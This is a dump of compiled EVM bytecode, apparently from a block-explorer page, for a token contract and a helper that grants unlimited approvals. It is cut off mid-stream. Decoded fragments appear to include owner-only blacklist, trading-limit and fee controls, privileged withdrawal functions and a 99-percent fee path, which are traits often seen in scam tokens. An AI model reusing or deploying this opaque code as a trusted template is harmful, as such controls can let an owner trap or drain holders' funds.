f82011682018060405250810190614c819190615731565b5050505b5050505050505050505b5050600b805460ff19169055565b604080516002808252606082018352600092839291906020830190803683370190505090503081600081518110614cd657614cd6615513565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000000000000000000000000000000000000000000081600181518110614d2a57614d2a615513565b6001600160a01b03928316602091820292909201015260405163d06ca61f60e01b81526000917f0000000000000000000000000000000000000000000000000000000000000000169063d06ca61f90614d899087908690600401615626565b600060405180830381865afa158015614da6573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052614dce9190810190615647565b90508060018251614ddf91906154b2565b81518110614def57614def615513565b602002602001015192505050919050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b1790529151600092839290871691614e5c919061575f565b6000604051808303816000865af19150503d8060008114614e99576040519150601f19603f3d011682016040523d82523d6000602084013e614e9e565b606091505b5091509150818015611c9757505050505050565b60006003821115614f135750806000614ecc6002836155a9565b614ed79060016154e7565b90505b81811015614f0d57905080600281614ef281866155a9565b614efc91906154e7565b614f0691906155a9565b9050614eda565b50919050565b811561222d57506001919050565b6000818310614f305781614f32565b825b9392505050565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b1790529151600092871691614f999161575f565b6000604051808303816000865af19150503d8060008114614fd6576040519150601f19603f3d011682016040523d82523d6000602084013e614fdb565b606091505b5050505050505050565b6001600160a01b03811681146126b257600080fd5b60006020828403121561500c57600080fd5b8135614f3281614fe5565b60005b8381101561503257818101518382015260200161501a565b50506000910152565b602081526000825180602084015261505a816040850160208701615017565b601f01601f19169190910160400192915050565b6000806040838503121561508157600080fd5b823561508c81614fe5565b946020939093013593505050565b80151581146126b257600080fd5b600080604083850312156150bb57600080fd5b82356150c681614fe5565b915060208301356150d68161509a565b809150509250929050565b6000602082840312156150f357600080fd5b5035919050565b60008060006060848603121561510f57600080fd5b833561511a81614fe5565b9250602084013561512a81614fe5565b929592945050506040919091013590565b60006020828403121561514d57600080fd5b8135614f328161509a565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561519757615197615158565b604052919050565b600067ffffffffffffffff8211156151b9576151b9615158565b5060051b60200190565b600082601f8301126151d457600080fd5b813560206151e96151e48361519f565b61516e565b82815260059290921b8401810191818101908684111561520857600080fd5b8286015b8481101561522c57803561521f81614fe5565b835291830191830161520c565b509695505050505050565b6000806040838503121561524a57600080fd5b823567ffffffffffffffff81111561526157600080fd5b61526d858286016151c3565b95602094909401359450505050565b6000806040838503121561528f57600080fd5b823567ffffffffffffffff8111156152a657600080fd5b6152b2858286016151c3565b92505060208301356150d68161509a565b600080604083850312156152d657600080fd5b8235915060208301356150d681614fe5565b600080600080608085870312156152fe57600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561532d57600080fd5b823567ffffffffffffffff8082111561534557600080fd5b615351868387016151c3565b935060209150818501358181111561536857600080fd5b85019050601f8101861361537b57600080fd5b80356153896151e48261519f565b81815260059190911b820183019083810190888311156153a857600080fd5b928401925b828410156153c6578335825292840192908401906153ad565b80955050505050509250929050565b600080604083850312156153e857600080fd5b82356153f381614fe5565b915060208301356150d681614fe5565b60008060006060848603121561541857600080fd5b505081359360208301359350604090920135919050565b600181811c9082168061544357607f821691505b602082108103614f0d57634e487b7160e01b600052602260045260246000fd5b602080825260029082015261216f60f01b604082015260600190565b60006020828403121561549157600080fd5b8151614f328161509a565b634e487b7160e01b600052601160045260246000fd5b818103818111156114d6576114d661549c565b6020808252600890820152677271207374616b6560c01b604082015260600190565b808201808211156114d6576114d661549c565b60006020828403121561550c57600080fd5b5051919050565b634e487b7160e01b600052603260045260246000fd5b60006001820161553b5761553b61549c565b5060010190565b80516001600160701b038116811461222d57600080fd5b60008060006060848603121561556e57600080fd5b61557784615542565b925061558560208501615542565b9150604084015163ffffffff8116811461559e57600080fd5b809150509250925092565b6000826155c657634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176114d6576114d661549c565b600081518084526020808501945080840160005b8381101561561b5781516001600160a01b0316875295820195908201906001016155f6565b509495945050505050565b82815260406020820152600061563f60408301846155e2565b949350505050565b6000602080838503121561565a57600080fd5b825167ffffffffffffffff81111561567157600080fd5b8301601f8101851361568257600080fd5b80516156906151e48261519f565b81815260059190911b820183019083810190878311156156af57600080fd5b928401925b828410156156cd578351825292840192908401906156b4565b979650505050505050565b6000602082840312156156ea57600080fd5b8151614f3281614fe5565b85815284602082015260a06040820152600061571460a08301866155e2565b6001600160a01b0394909416606083015250608001529392505050565b60008060006060848603121561574657600080fd5b8351925060208401519150604084015190509250925092565b60008251615771818460208701615017565b919091019291505056fea264697066735822122034398afbfb94494c85385ff09c0f7bdb9d0a257907887889832d5738d34173c964736f6c63430008130033608060405234801561001057600080fd5b506040516101ba3803806101ba83398101604081905261002f9161011b565b60405163095ea7b360e01b815233600482015260001960248201526001600160a01b0382169063095ea7b3906044016020604051808303816000875af115801561007d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100a1919061014b565b5060405163095ea7b360e01b815232600482015260001960248201526001600160a01b0382169063095ea7b3906044016020604051808303816000875af11580156100f0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610114919061014b565b505061016d565b60006020828403121561012d57600080fd5b81516001600160a01b038116811461014457600080fd5b9392505050565b60006020828403121561015d57600080fd5b8151801515811461014457600080fd5b603f8061017b6000396000f3fe6080604052600080fdfea2646970667358221220449dff0810cf7974e04260c618544084f700d6fb84ed30e9f07297326c77d94664736f6c63430008130033

Deployed Bytecode

0x6080604052600436106106355760003560e01c80637fe364b311610329578063ccdbd424116101b6578063e42121d011610102578063f12e6eb7116100a0578063f53dabb61161007a578063f53dabb6146113bd578063f57d2932146113dd578063f74e82a8146113fd578063ff67370c1461141357600080fd5b8063f12e6eb71461135d578063f2fde38b1461137d578063f40c5adc1461139d57600080fd5b8063e84fb12d116100dc578063e84fb12d146112da578063e9fad396146112f0578063ebdebcdb14611310578063ef34db691461133057600080fd5b8063e42121d01461127a578063e653da081461129a578063e82bef29146112ba57600080fd5b8063d83d41431161016f578063dd62ed3e11610149578063dd62ed3e146111e4578063de5c02c21461122a578063e00b4d1a1461124a578063e2b8e0721461126057600080fd5b8063d83d414314611198578063dd3719eb146111b8578063dd55c108146111ce57600080fd5b8063ccdbd424146110c6578063cd8d263d146110fc578063ce0192f91461111c578063ce4d9f1514611132578063d2c01fc414611162578063d5b267181461117857600080fd5b8063a5696d8911610275578063b0c73bc61161022e578063b9fbc49d11610208578063b9fbc49d1461104a578063c1eeda0214611060578063c2f0c04d14611090578063c7cc2c3b146110b057600080fd5b8063b0c73bc614610fea578063b2887bec1461100a578063b6a073591461102a57600080fd5b8063a5696d8914610f2e578063a842486114610f4e578063a9059cbb14610f6e578063a925a6bd14610f8e578063ab9cff9014610fa4578063adc7955d14610fd457600080fd5b80638f02bb5b116102e257806397dad339116102bc57806397dad33914610eb85780639bb8534414610ed85780639d218aa114610eee578063a1f0e73d14610f0e57600080fd5b80638f02bb5b14610e63578063917ceeb514610e8357806395d89b4114610ea357600080fd5b80637fe364b314610d8d57806385dc300414610dad57806386d37a4214610dcd578063896cbeb514610e055780638c5a133d14610e255780638da5cb5b14610e4557600080fd5b80634188bf5a116104c257806368092bd91161040e5780637355b15b116103ac57806379353c081161038657806379353c0814610d0d5780637a37a0ed14610d235780637ae290f814610d4d5780637fcdde5f14610d6d57600080fd5b80637355b15b14610cb857806374d002f114610cd8578063756b419014610ced57600080fd5b80636c580801116103e85780636c58080114610c385780636cbbfd5414610c4d57806370a0823114610c6d578063715018a614610ca357600080fd5b806368092bd914610bec5780636b61335014610c0c5780636c0d968d14610c2257600080fd5b8063595dec3c1161047b5780635ef01957116104555780635ef0195714610b5a57806361b746f214610b705780636386c1c714610b8657806363b9fb2e14610bcc57600080fd5b8063595dec3c14610aea5780635c25c30e14610b1a5780635d994ba614610b3a57600080fd5b80634188bf5a14610a10578063437c880214610a4457806346c123b614610a71578063553193ca14610a915780635584bb8014610aa757806355c4373314610ad457600080fd5b80631f107a4511610581578063300a68831161053a5780633bfe62ca116105145780633bfe62ca146109805780633c11100d146109965780633df9a8d2146109c657806340c728c3146109dc57600080fd5b8063300a68831461091e578063313ce5671461093e5780633a0e92881461096057600080fd5b80631f107a45146108265780632171dcc91461084657806321f3dd651461086657806323b872dd1461089e5780632adf1d52146108be5780632b01fc94146108ee57600080fd5b80630a607930116105ee5780631698755f116105c85780631698755f1461079b57806318160ddd146107bb5780631b5c150b146107d05780631b967ad4146107f057600080fd5b80630a6079301461074d578063141ae5661461076357806314e3afa21461078557600080fd5b806301873d8f1461064157806301986fad1461068657806304829076146106b657806304c23ffe146106f157806306fdde031461070b578063095ea7b31461072d57600080fd5b3661063c57005b600080fd5b34801561064d57600080fd5b5061067161065c366004614ffa565b60176020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561069257600080fd5b506106716106a1366004614ffa565b60086020526000908152604090205460ff1681565b3480156106c257600080fd5b506106e36106d1366004614ffa565b602b6020526000908152604090205481565b60405190815260200161067d565b3480156106fd57600080fd5b506018546106719060ff1681565b34801561071757600080fd5b50610720611433565b60405161067d919061503b565b34801561073957600080fd5b5061067161074836600461506e565b6114c5565b34801561075957600080fd5b506106e360105481565b34801561076f57600080fd5b5061078361077e3660046150a8565b6114dc565b005b34801561079157600080fd5b506106e3601b5481565b3480156107a757600080fd5b506107836107b636600461506e565b61153a565b3480156107c757600080fd5b506009546106e3565b3480156107dc57600080fd5b506107836107eb3660046150e1565b6115cf565b3480156107fc57600080fd5b506106e361080b366004614ffa565b6001600160a01b03166000908152602d602052604090205490565b34801561083257600080fd5b506107836108413660046150e1565b6115fe565b34801561085257600080fd5b506107836108613660046150a8565b61162d565b34801561087257600080fd5b50603154610886906001600160a01b031681565b6040516001600160a01b03909116815260200161067d565b3480156108aa57600080fd5b506106716108b93660046150fa565b611682565b3480156108ca57600080fd5b506106716108d9366004614ffa565b60326020526000908152604090205460ff1681565b3480156108fa57600080fd5b50610671610909366004614ffa565b60246020526000908152604090205460ff1681565b34801561092a57600080fd5b5061078361093936600461506e565b611719565b34801561094a57600080fd5b5060075460405160ff909116815260200161067d565b34801561096c57600080fd5b5061078361097b366004614ffa565b6117a1565b34801561098c57600080fd5b506106e360125481565b3480156109a257600080fd5b506106716109b1366004614ffa565b600a6020526000908152604090205460ff1681565b3480156109d257600080fd5b506106e360205481565b3480156109e857600080fd5b506108867f000000000000000000000000736af02455bc6054a6426798e6ac4e90b64eff1681565b348015610a1c57600080fd5b506108867f000000000000000000000000667587b52d9674c72d0b52d97dbd3127418a023f81565b348015610a5057600080fd5b506106e3610a5f366004614ffa565b602a6020526000908152604090205481565b348015610a7d57600080fd5b50610783610a8c36600461513b565b6117ed565b348015610a9d57600080fd5b506106e360145481565b348015610ab357600080fd5b506106e3610ac2366004614ffa565b601c6020526000908152604090205481565b348015610ae057600080fd5b506106e3601d5481565b348015610af657600080fd5b50610671610b05366004614ffa565b60306020526000908152604090205460ff1681565b348015610b2657600080fd5b50610886610b3536600461506e565b61182a565b348015610b4657600080fd5b50610783610b553660046150e1565b611862565b348015610b6657600080fd5b506106e3601a5481565b348015610b7c57600080fd5b506106e360255481565b348015610b9257600080fd5b50610ba6610ba1366004614ffa565b61193a565b60408051948552602085019390935290151591830191909152606082015260800161067d565b348015610bd857600080fd5b50610783610be736600461513b565b611a0b565b348015610bf857600080fd5b50610783610c073660046150a8565b611a48565b348015610c1857600080fd5b506106e360345481565b348015610c2e57600080fd5b506106e360365481565b348015610c4457600080fd5b50610783611a9d565b348015610c5957600080fd5b50610783610c68366004615237565b611b07565b348015610c7957600080fd5b506106e3610c88366004614ffa565b6001600160a01b031660009081526001602052604090205490565b348015610caf57600080fd5b50610783611b93565b348015610cc457600080fd5b50610783610cd3366004615237565b611c07565b348015610ce457600080fd5b506022546106e3565b348015610cf957600080fd5b50610783610d0836600461527c565b611c9f565b348015610d1957600080fd5b506106e360275481565b348015610d2f57600080fd5b50610d38611d30565b6040805192835260208301919091520161067d565b348015610d5957600080fd5b50602854610886906001600160a01b031681565b348015610d7957600080fd5b50610783610d883660046150e1565b611e1a565b348015610d9957600080fd5b50610783610da83660046150a8565b611e49565b348015610db957600080fd5b50610783610dc8366004614ffa565b611e9e565b348015610dd957600080fd5b506106e3610de83660046152c3565b602f60209081526000928352604080842090915290825290205481565b348015610e1157600080fd5b50610783610e2036600461527c565b611f2a565b348015610e3157600080fd5b50610783610e403660046152e8565b611fbb565b348015610e5157600080fd5b506000546001600160a01b0316610886565b348015610e6f57600080fd5b50610783610e7e3660046150e1565b611ff9565b348015610e8f57600080fd5b50610783610e9e3660046150e1565b612028565b348015610eaf57600080fd5b506107206120a3565b348015610ec457600080fd5b50610783610ed33660046150e1565b6120b2565b348015610ee457600080fd5b506106e360155481565b348015610efa57600080fd5b50600454610886906001600160a01b031681565b348015610f1a57600080fd5b50610783610f29366004614ffa565b6120e1565b348015610f3a57600080fd5b50610783610f4936600461506e565b612145565b348015610f5a57600080fd5b50610783610f693660046150a8565b612193565b348015610f7a57600080fd5b50610671610f8936600461506e565b6121e8565b348015610f9a57600080fd5b506106e3600c5481565b348015610fb057600080fd5b50610671610fbf366004614ffa565b60336020526000908152604090205460ff1681565b348015610fe057600080fd5b506106e360115481565b348015610ff657600080fd5b50610886611005366004614ffa565b6121f5565b34801561101657600080fd5b5061078361102536600461527c565b612232565b34801561103657600080fd5b506107836110453660046150e1565b6122c3565b34801561105657600080fd5b506106e3600d5481565b34801561106c57600080fd5b5061067161107b366004614ffa565b602e6020526000908152604090205460ff1681565b34801561109c57600080fd5b506107836110ab36600461531a565b6122f2565b3480156110bc57600080fd5b506106e3601f5481565b3480156110d257600080fd5b506108866110e1366004614ffa565b602c602052600090815260409020546001600160a01b031681565b34801561110857600080fd5b506107836111173660046150e1565b6123c3565b34801561112857600080fd5b506106e3600e5481565b34801561113e57600080fd5b506111476123f2565b6040805193845260208401929092529082015260600161067d565b34801561116e57600080fd5b506106e360195481565b34801561118457600080fd5b5061078361119336600461506e565b6124b8565b3480156111a457600080fd5b506107836111b33660046150a8565b6124fe565b3480156111c457600080fd5b506106e3600f5481565b3480156111da57600080fd5b506106e360265481565b3480156111f057600080fd5b506106e36111ff3660046153d5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561123657600080fd5b506108866112453660046150e1565b612553565b34801561125657600080fd5b506106e3601e5481565b34801561126c57600080fd5b506035546106719060ff1681565b34801561128657600080fd5b5061078361129536600461531a565b61257d565b3480156112a657600080fd5b506107836112b53660046152e8565b612622565b3480156112c657600080fd5b50600354610886906001600160a01b031681565b3480156112e657600080fd5b506106e360215481565b3480156112fc57600080fd5b5061078361130b3660046150e1565b612660565b34801561131c57600080fd5b5061078361132b366004615403565b6126b5565b34801561133c57600080fd5b506106e361134b366004614ffa565b60236020526000908152604090205481565b34801561136957600080fd5b506107836113783660046153d5565b6126ed565b34801561138957600080fd5b50610783611398366004614ffa565b612721565b3480156113a957600080fd5b50602954610886906001600160a01b031681565b3480156113c957600080fd5b506107836113d83660046150e1565b6127e1565b3480156113e957600080fd5b506107836113f8366004614ffa565b612810565b34801561140957600080fd5b506106e360135481565b34801561141f57600080fd5b5061078361142e366004614ffa565b612874565b6060600580546114429061542f565b80601f016020809104026020016040519081016040528092919081815260200182805461146e9061542f565b80156114bb5780601f10611490576101008083540402835291602001916114bb565b820191906000526020600020905b81548152906001019060200180831161149e57829003601f168201915b5050505050905090565b60006114d23384846128d8565b5060015b92915050565b6000546001600160a01b0316331461150f5760405162461bcd60e51b815260040161150690615463565b60405180910390fd5b6001600160a01b03919091166000908152602460205260409020805460ff1916911515919091179055565b3360009081526008602052604090205460ff16156115cb5760035460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af11580156115a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115c9919061547f565b505b5050565b6000546001600160a01b031633146115f95760405162461bcd60e51b815260040161150690615463565b603455565b6000546001600160a01b031633146116285760405162461bcd60e51b815260040161150690615463565b601955565b6000546001600160a01b031633146116575760405162461bcd60e51b815260040161150690615463565b6001600160a01b03919091166000908152601760205260409020805460ff1916911515919091179055565b600061168f84848461293a565b6001600160a01b03841660009081526002602090815260408083203384529091529020546000191461170f576001600160a01b03841660009081526002602090815260408083203384529091529020546116ea9083906154b2565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6029546001600160a01b031633146117435760405162461bcd60e51b8152600401611506906154c5565b6001600160a01b0382166000908152601c60205260408120805483929061176b9084906154e7565b90915550506001600160a01b0382166000908152602a6020526040812080548392906117989084906154e7565b90915550505050565b6000546001600160a01b031633146117cb5760405162461bcd60e51b815260040161150690615463565b602980546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146118175760405162461bcd60e51b815260040161150690615463565b6018805460ff1916911515919091179055565b602d602052816000526040600020818154811061184657600080fd5b6000918252602090912001546001600160a01b03169150829050565b6029546001600160a01b0316331461188c5760405162461bcd60e51b8152600401611506906154c5565b6029546118c4907f000000000000000000000000667587b52d9674c72d0b52d97dbd3127418a023f906001600160a01b031683613013565b7f000000000000000000000000667587b52d9674c72d0b52d97dbd3127418a023f6001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561191f57600080fd5b505af1158015611933573d6000803e3d6000fd5b5050505050565b6040516370a0823160e01b81526001600160a01b0382811660048301526000918291829182917f000000000000000000000000667587b52d9674c72d0b52d97dbd3127418a023f16906370a0823190602401602060405180830381865afa1580156119a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119cd91906154fa565b6001600160a01b039095166000908152602460209081526040808320546016909252909120805460019190910154909760ff90921695509350915050565b6000546001600160a01b03163314611a355760405162461bcd60e51b815260040161150690615463565b6035805460ff1916911515919091179055565b6000546001600160a01b03163314611a725760405162461bcd60e51b815260040161150690615463565b6001600160a01b03919091166000908152603060205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314611ac75760405162461bcd60e51b815260040161150690615463565b60145415611b015760405162461bcd60e51b815260206004820152600760248201526674726164696e6760c81b6044820152606401611506565b43601455565b6000546001600160a01b03163314611b315760405162461bcd60e51b815260040161150690615463565b60005b82518110156115c95781601c6000858481518110611b5457611b54615513565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020819055508080611b8b90615529565b915050611b34565b6000546001600160a01b03163314611bbd5760405162461bcd60e51b815260040161150690615463565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314611c315760405162461bcd60e51b815260040161150690615463565b8151600080805b83811015611c9757858181518110611c5257611c52615513565b6020908102919091018101516001600160a01b038116600090815260169092526040909120868155600181018790559093509150611c8f8361305b565b600101611c38565b505050505050565b6000546001600160a01b03163314611cc95760405162461bcd60e51b815260040161150690615463565b60005b82518110156115c9578160306000858481518110611cec57611cec615513565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580611d2881615529565b915050611ccc565b60008060007f000000000000000000000000667587b52d9674c72d0b52d97dbd3127418a023f9050600080826001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015611d99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dbd9190615559565b506001600160701b0391821693501690507f00000000000000000000000055d398326f99059ff775485246999027b3197955306001600160a01b0382161015611e0b57829550819450611e12565b8195508294505b505050509091565b6000546001600160a01b03163314611e445760405162461bcd60e51b815260040161150690615463565b603655565b6000546001600160a01b03163314611e735760405162461bcd60e51b815260040161150690615463565b6001600160a01b03919091166000908152602e60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314611ec85760405162461bcd60e51b815260040161150690615463565b600380546001600160a01b0319166001600160a01b0383169081179091556000908152600860205260409020805460ff19166001179055611f0c600a6000196155a9565b6003546001600160a01b031660009081526016602052604090205550565b6000546001600160a01b03163314611f545760405162461bcd60e51b815260040161150690615463565b60005b82518110156115c9578160336000858481518110611f7757611f77615513565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580611fb381615529565b915050611f57565b6000546001600160a01b03163314611fe55760405162461bcd60e51b815260040161150690615463565b600c93909355600d91909155600e55600f55565b6000546001600160a01b031633146120235760405162461bcd60e51b815260040161150690615463565b602055565b6000546001600160a01b031633146120525760405162461bcd60e51b815260040161150690615463565b62030d4081101580156120685750621e84808111155b61209e5760405162461bcd60e51b815260206004820152600760248201526632302d3230307760c81b6044820152606401611506565b602155565b6060600680546114429061542f565b6000546001600160a01b031633146120dc5760405162461bcd60e51b815260040161150690615463565b602755565b6000546001600160a01b0316331461210b5760405162461bcd60e51b815260040161150690615463565b602880546001600160a01b039092166001600160a01b0319909216821790556000908152602460205260409020805460ff19166001179055565b6000546001600160a01b0316331461216f5760405162461bcd60e51b815260040161150690615463565b6001600160a01b03821660009081526016602052604090208181556115c98361305b565b6000546001600160a01b031633146121bd5760405162461bcd60e51b815260040161150690615463565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b60006114d233848461293a565b6001600160a01b038082166000908152602c6020908152604080832054909316808352602e9091529190205460ff161561222d575060005b919050565b6000546001600160a01b0316331461225c5760405162461bcd60e51b815260040161150690615463565b60005b82518110156115c957816008600085848151811061227f5761227f615513565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806122bb81615529565b91505061225f565b6000546001600160a01b031633146122ed5760405162461bcd60e51b815260040161150690615463565b601b55565b6000546001600160a01b0316331461231c5760405162461bcd60e51b815260040161150690615463565b8151600080805b83811015611c975785818151811061233d5761233d615513565b6020026020010151925060166000846001600160a01b03166001600160a01b03168152602001908152602001600020915084818151811061238057612380615513565b602002602001015182600001819055508481815181106123a2576123a2615513565b602002602001015182600101819055506123bb8361305b565b600101612323565b6000546001600160a01b031633146123ed5760405162461bcd60e51b815260040161150690615463565b601a55565b60008060006123ff611d30565b6040516370a0823160e01b81526001600160a01b037f000000000000000000000000667587b52d9674c72d0b52d97dbd3127418a023f811660048301529295509093507f00000000000000000000000055d398326f99059ff775485246999027b3197955909116906370a0823190602401602060405180830381865afa15801561248d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124b191906154fa565b9050909192565b6000546001600160a01b031633146124e25760405162461bcd60e51b815260040161150690615463565b6001600160a01b039091166000908152601c6020526040902055565b6000546001600160a01b031633146125285760405162461bcd60e51b815260040161150690615463565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6022818154811061256357600080fd5b6000918252602090912001546001600160a01b0316905081565b6000546001600160a01b031633146125a75760405162461bcd60e51b815260040161150690615463565b60005b82518110156115c9578181815181106125c5576125c5615513565b6020026020010151601c60008584815181106125e3576125e3615513565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550808061261a90615529565b9150506125aa565b6000546001600160a01b0316331461264c5760405162461bcd60e51b815260040161150690615463565b601093909355601191909155601255601355565b3360009081526008602052604090205460ff16156126b2576003546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156115cb573d6000803e3d6000fd5b50565b6000546001600160a01b031633146126df5760405162461bcd60e51b815260040161150690615463565b601d92909255601e55601f55565b6029546001600160a01b031633146127175760405162461bcd60e51b8152600401611506906154c5565b6115cb828261312b565b6000546001600160a01b0316331461274b5760405162461bcd60e51b815260040161150690615463565b6001600160a01b0381166127865760405162461bcd60e51b815260206004820152600260248201526106e360f41b6044820152606401611506565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461280b5760405162461bcd60e51b815260040161150690615463565b602655565b6000546001600160a01b0316331461283a5760405162461bcd60e51b815260040161150690615463565b600480546001600160a01b039092166001600160a01b0319909216821790556000908152600860205260409020805460ff19166001179055565b6000546001600160a01b0316331461289e5760405162461bcd60e51b815260040161150690615463565b603180546001600160a01b039092166001600160a01b0319909216821790556000908152600860205260409020805460ff19166001179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b612942613221565b6001600160a01b03831660009081526030602052604090205460ff16158061298257506001600160a01b03831660009081526008602052604090205460ff165b806129a557506001600160a01b0383166000908152600a602052604090205460ff165b6129dd5760405162461bcd60e51b8152602060048201526009602482015268189b1858dad31a5cdd60ba1b6044820152606401611506565b6001600160a01b03831660009081526001602052604090205481811015612a2c5760405162461bcd60e51b8152602060048201526003602482015262424e4560e81b6044820152606401611506565b32600081815260086020526040902054439060ff16158015612aba57507f000000000000000000000000667587b52d9674c72d0b52d97dbd3127418a023f6001600160a01b0316866001600160a01b03161480612aba57507f000000000000000000000000667587b52d9674c72d0b52d97dbd3127418a023f6001600160a01b0316856001600160a01b0316145b15612b86576019548015612b84576000828152602f602090815260408083206001600160a01b038716845290915281208054879290612afa9084906154e7565b9091555060009050612b0a611d30565b91506127109050612b1b83836155cb565b612b2591906155a9565b6000848152602f602090815260408083206001600160a01b0389168452909152902054909250821015612b825760405162461bcd60e51b8152602060048201526005602482015264131a5b5a5d60da1b6044820152606401611506565b505b505b6029546001600160a01b0387811691161480612baf57506029546001600160a01b038681169116145b15612bbf57611c97868686613013565b6001600160a01b03861660009081526008602052604081205460ff16158015612c0157506001600160a01b03861660009081526008602052604090205460ff16155b15612c6e57866001600160a01b03167f00000000000000000000000010ed43c718714eb63d5aa57b78b54704e256024e6001600160a01b031614612c6e5760006103e8612c50866103e76155cb565b612c5a91906155a9565b905080861115612c68578095505b60019150505b6000807f000000000000000000000000667587b52d9674c72d0b52d97dbd3127418a023f6001600160a01b0316886001600160a01b0316148015612cda57507f00000000000000000000000010ed43c718714eb63d5aa57b78b54704e256024e6001600160a01b031633145b8015612cf75750886001600160a01b0316856001600160a01b0316145b15612d6257612d0587613252565b90508015612d62576001600160a01b0385166000908152601660205260408120805490935082918491612d399084906154e7565b9091555050601454600003612d625780826001016000828254612d5c91906154e7565b90915550505b60007f000000000000000000000000667587b52d9674c72d0b52d97dbd3127418a023f6001600160a01b03168a6001600160a01b031603612e2657612da6886132bd565b90508015612e26576001600160a01b038616600090815260166020526040902054811115612dd357600080fd5b6001600160a01b03861660009081526016602052604081208054839290612dfb9084906154b2565b90915550506001600160a01b03861660009081526008602052604090205460ff1615612e2657600093505b6001600160a01b038a166000908152600a602052604090205460ff1680612e6557506001600160a01b0389166000908152600a602052604090205460ff165b15612fad57601554600003612ed7576001600160a01b038a1660009081526008602052604090205460ff168015612ecd57507f000000000000000000000000667587b52d9674c72d0b52d97dbd3127418a023f6001600160a01b0316896001600160a01b0316145b15612ed757436015555b6001600160a01b038a1660009081526008602052604090205460ff16158015612f1957506001600160a01b03891660009081526008602052604090205460ff16155b15612fad57601454600003612f6a576015546000108015612f5c57506000821180612f5c57506001600160a01b03891660009081526033602052604090205460ff165b612f6557600080fd5b612fad565b81158015612f76575080155b8015612f8f57506000601454612f8c91906154e7565b85105b15612fad57612fa18a8a8a606361341f565b50505050505050505050565b612fbb8a8a8a8786866134a9565b6001600160a01b038a163014612fa1578115612fdf57612fda8a61305b565b612fa1565b8315612fa1576021546130066064612ff783826155cb565b61300191906155a9565b6139a1565b5050505050505050505050565b6001600160a01b0383166000908152600160205260409020546130379082906154b2565b6001600160a01b0384166000908152600160205260409020556115c9838383613d69565b6001600160a01b03811660009081526023602052604081205490036126b25760225415806130ba5750806001600160a01b031660226000815481106130a2576130a2615513565b6000918252602090912001546001600160a01b031614155b156126b257803b80156130cb575050565b50602280546001600160a01b0383166000818152602360205260408120839055600183018455929092527f61035b26e3e9eee00e0d72fd1ee8ddca6894550dca6916ea2ac6baa90d11e5100180546001600160a01b031916909117905550565b6001600160a01b038281166000908152602c60205260409020541615801561315b57506001600160a01b03811615155b801561316f57506001600160a01b03821615155b801561318d5750816001600160a01b0316816001600160a01b031614155b156115cb576001600160a01b0382166000908152602d602052604081205490036115cb57803b80156131be57505050565b50813b80156131cc57505050565b506001600160a01b038083166000818152602c6020908152604080832080549587166001600160a01b031996871681179091558352602d82528220805460018101825590835291200180549092161790555050565b60355460ff16613250576000613235611d30565b50905060365481106126b2576035805460ff19166001179055505b565b6000806000806132606123f2565b925092509250600080841180156132775750600083115b15613294578261328785886155cb565b61329191906155a9565b90505b61329e81856154e7565b82106132b4576132b082878686613de1565b5094505b50505050919050565b6000806000806132cb6123f2565b925092509250828110156133c057846133197f000000000000000000000000667587b52d9674c72d0b52d97dbd3127418a023f6001600160a01b031660009081526001602052604090205490565b61332391906154b2565b7f000000000000000000000000667587b52d9674c72d0b52d97dbd3127418a023f6001600160a01b03166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015613381573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133a591906154fa565b6133af90876155cb565b6133b991906155a9565b9350613417565b60185460ff161561341757600080841180156133dc5750600083115b156132b4576133eb86846154b2565b6133f585886155cb565b6133ff91906155a9565b905061340b84826154e7565b8210156132b457600080fd5b505050919050565b6001600160a01b0384166000908152600160205260409020546134439083906154b2565b6001600160a01b038516600090815260016020526040812091909155606461346b83856155cb565b61347591906155a9565b90508015613495576003546134959086906001600160a01b031683613d69565b61193385856134a484876154b2565b613d69565b6001600160a01b0386166000908152600160205260409020546134cd9085906154b2565b6001600160a01b03871660009081526001602052604081209190